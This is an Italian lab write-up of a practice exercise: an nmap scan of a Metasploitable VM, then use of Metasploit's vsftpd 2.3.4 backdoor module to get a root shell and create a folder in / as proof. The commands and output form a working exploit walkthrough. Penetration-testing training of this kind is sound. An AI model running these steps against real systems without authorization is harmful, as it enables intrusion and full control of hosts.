

Metasploit: attacco al servizio vsftpd su Metasploitable

Obiettivo dell'esercizio di oggi è eseguire un exploit della macchina virtuale Metasploitable tramite software **Metasploit**, in particolare andando ad attaccare il servizio **vsftpd**. A riprova del successo dell'attacco, andremo a creare una cartella nella directory di root del bersaglio tramite Kali, la macchina attaccante.

Con il termine exploit intendiamo quel processo per cui un attaccante “**buca**” le difese di un sistema bersaglio, andando a spianare la strada all'installazione di una **shell** tramite un **payload** caricato, appunto, tramite la falla creatasi con l'attacco.

Il **protocollo bersaglio, vsftpd**, è un server software che si occupa di gestire il trasferimento di file in modo sicuro, implementando nel suo funzionamento crittazione **SSL**, controllo degli accessi e altre misure di sicurezza, oltre ad essere compatibile con **FTP**.

Vediamo di seguito il procedimento dell'attacco.

Innanzitutto, effettuiamo uno **scan** tramite **nmap** sulla macchina bersaglio per determinare la versione del protocollo su cui andremo ad agire. Come mostrato nell'immagine sottostante, il protocollo opera sulla **porta 21** ed è alla versione **2.3.4**.

```
(giuseppe@kali)-[~]
$ nmap 192.168.1.149 -sV
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-06 15:34 CET
Nmap scan report for 192.168.1.149
Host is up (0.0020s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell          Netkit rshd
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.67 seconds
```

Andiamo poi a cercare su Metasploit il tag vsftp, concentrandoci in particolare sulle voci che indicano la versione del protocollo che ci serve. Una volta trovata, iniziamo a creare il nostro vettore di attacco con essa con il comando **use**. Caricato l'exploit, dobbiamo adesso scegliere quale **payload** abbinare. Digitando **show payload** dopo aver scelto l'exploit ci mostrerà tutte le opzioni disponibili per l'attacco a cui stiamo lavorando: scegliamo il più adatto e lo impostiamo con **set payload payload_scelto**.

Utilizziamo poi il comando **show option** per visualizzare le opzioni e le variabili necessarie al completamento del nostro attacco: in questo caso, l'unico parametro da inserire è l'**IP bersaglio**, in quanto il sistema ha già automaticamente selezionato la porta corretta, la 21.

Nell'immagine nella prossima pagina sono visibili le opzioni presenti e il comando per inserire l'host bersaglio: l'attacco può adesso essere lanciato con il comando **exploit**.

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.1.149
rhost => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      192.168.1.149    no        The local client address
  CPORT      21               no        The local client port
  Proxies    []               no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
  RPORT      21              yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -
  CMD       cmd              no        The command to execute

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

```

Eseguito l'attacco, verifichiamo di essere effettivamente nel sistema con **ifconfig**: l'IP corrisponde infatti a quello del bersaglio, nonostante stiamo usando la macchina attaccante.

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.147:44165 -> 192.168.1.149:6200) at 2023-11-06 15:59:30 +0100

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:7e:be:f3
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe7e:bef3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1509 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1485 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:120747 (117.9 KB)  TX bytes:123999 (121.0 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:276 errors:0 dropped:0 overruns:0 frame:0
          TX packets:276 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:110065 (107.4 KB)  TX bytes:110065 (107.4 KB)

```

Ora che siamo all'interno controlliamo la directory in cui siamo con **pwd** e, essendo già nella directory di **root (/)**, creiamo la cartella **test_metasploit**, come mostrato nell'immagine seguente.

```
root@kali: /home/giuseppe

File Actions Edit View Help
4565 ? 00:00:00 jsvc
4585 ? 00:00:00 apache2
4604 ? 00:00:00 rmiregistry
4609 ? 00:00:00 ruby
4619 ? 00:00:00 unrealircd
4626 ? 00:00:00 Xtightvnc
4630 ? 00:00:00 xstartup
4633 ? 00:00:00 xterm
4635 ? 00:00:00 fluxbox
4863 ? 00:00:00 sh
4877 ? 00:00:00 ps
migrate 2
sh: line 8: migrate: command not found
pwd
/
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

Usiamo il comando `ls` per verificare che la cartella sia stata effettivamente creata, completando l'exploit.